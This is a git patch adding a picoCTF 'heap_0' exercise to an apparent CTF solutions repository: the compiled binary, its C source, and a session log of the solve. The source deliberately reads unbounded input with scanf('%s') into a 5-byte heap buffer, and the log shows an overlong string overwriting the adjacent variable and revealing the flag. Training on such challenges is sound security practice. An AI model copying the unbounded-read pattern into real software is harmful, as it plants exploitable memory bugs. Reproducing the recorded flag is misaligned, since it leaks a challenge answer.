From 955da6e6984b137622ee0ac26a38dbe0d4264837 Mon Sep 17 00:00:00 2001 From: h7x4 Date: Tue, 3 Sep 2024 20:43:19 +0200 Subject: [PATCH] pwn/heap_0 --- pwn/heap_0/chall | Bin 0 -> 20664 bytes pwn/heap_0/chall.c | 127 ++++++++++++++++++++++++++++++++++++++++++ pwn/heap_0/output.txt | 34 +++++++++++ 3 files changed, 161 insertions(+) create mode 100755 pwn/heap_0/chall create mode 100644 pwn/heap_0/chall.c create mode 100644 pwn/heap_0/output.txt diff --git a/pwn/heap_0/chall b/pwn/heap_0/chall new file mode 100755 index 0000000000000000000000000000000000000000..952cbfe81a6cfe512ef79ddebd0afecae411bf4f GIT binary patch literal 20664 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 uzo5DZq!2W2g_guX!VDhJ3hfG-;UN3K3ZMjNm +#include +#include + +#define FLAGSIZE_MAX 64 +// amount of memory allocated for input_data +#define INPUT_DATA_SIZE 5 +// amount of memory allocated for safe_var +#define SAFE_VAR_SIZE 5 + +int num_allocs; +char *safe_var; +char *input_data; + +void check_win() { + if (strcmp(safe_var, "bico") != 0) { + printf("\nYOU WIN\n"); + + // Print flag + char buf[FLAGSIZE_MAX]; + FILE *fd = fopen("flag.txt", "r"); + fgets(buf, FLAGSIZE_MAX, fd); + printf("%s\n", buf); + fflush(stdout); + + exit(0); + } else { + printf("Looks like everything is still secure!\n"); + printf("\nNo flage for you :(\n"); + fflush(stdout); + } +} + +void print_menu() { + printf("\n1. Print Heap:\t\t(print the current state of the heap)" + "\n2. Write to buffer:\t(write to your own personal block of data " + "on the heap)" + "\n3. Print safe_var:\t(I'll even let you look at my variable on " + "the heap, " + "I'm confident it can't be modified)" + "\n4. Print Flag:\t\t(Try to print the flag, good luck)" + "\n5. Exit\n\nEnter your choice: "); + fflush(stdout); +} + +void init() { + printf("\nWelcome to heap0!\n"); + printf( + "I put my data on the heap so it should be safe from any tampering.\n"); + printf("Since my data isn't on the stack I'll even let you write whatever " + "info you want to the heap, I already took care of using malloc for " + "you.\n\n"); + fflush(stdout); + input_data = malloc(INPUT_DATA_SIZE); + strncpy(input_data, "pico", INPUT_DATA_SIZE); + safe_var = malloc(SAFE_VAR_SIZE); + strncpy(safe_var, "bico", SAFE_VAR_SIZE); +} + +void write_buffer() { + printf("Data for buffer: "); + fflush(stdout); + scanf("%s", input_data); +} + +void print_heap() { + printf("Heap State:\n"); + printf("+-------------+----------------+\n"); + printf("[*] Address -> Heap Data \n"); + printf("+-------------+----------------+\n"); + printf("[*] %p -> %s\n", input_data, input_data); + printf("+-------------+----------------+\n"); + printf("[*] %p -> %s\n", safe_var, safe_var); + printf("+-------------+----------------+\n"); + fflush(stdout); +} + +int main(void) { + + // Setup + init(); + print_heap(); + + int choice; + + while (1) { + print_menu(); + int rval = scanf("%d", &choice); + if (rval == EOF){ + exit(0); + } + if (rval != 1) { + //printf("Invalid input. Please enter a valid choice.\n"); + //fflush(stdout); + // Clear input buffer + //while (getchar() != '\n'); + //continue; + exit(0); + } + + switch (choice) { + case 1: + // print heap + print_heap(); + break; + case 2: + write_buffer(); + break; + case 3: + // print safe_var + printf("\n\nTake a look at my variable: safe_var = %s\n\n", + safe_var); + fflush(stdout); + break; + case 4: + // Check for win condition + check_win(); + break; + case 5: + // exit + return 0; + default: + printf("Invalid choice\n"); + fflush(stdout); + } + } +} diff --git a/pwn/heap_0/output.txt b/pwn/heap_0/output.txt new file mode 100644 index 0000000..0c90d4f --- /dev/null +++ b/pwn/heap_0/output.txt @@ -0,0 +1,34 @@ +$ nc tethys.picoctf.net 62334 + +Welcome to heap0! +I put my data on the heap so it should be safe from any tampering. +Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you. + +Heap State: ++-------------+----------------+ +[*] Address -> Heap Data ++-------------+----------------+ +[*] 0x5fa8485542b0 -> pico ++-------------+----------------+ +[*] 0x5fa8485542d0 -> bico ++-------------+----------------+ + +1. Print Heap: (print the current state of the heap) +2. Write to buffer: (write to your own personal block of data on the heap) +3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified) +4. Print Flag: (Try to print the flag, good luck) +5. Exit + +Enter your choice: 2 +Data for buffer: picopicopicopicopicopicopicopicopico + +1. Print Heap: (print the current state of the heap) +2. Write to buffer: (write to your own personal block of data on the heap) +3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified) +4. Print Flag: (Try to print the flag, good luck) +5. Exit + +Enter your choice: 4 + +YOU WIN +picoCTF{my_first_heap_overflow_e4c92a78}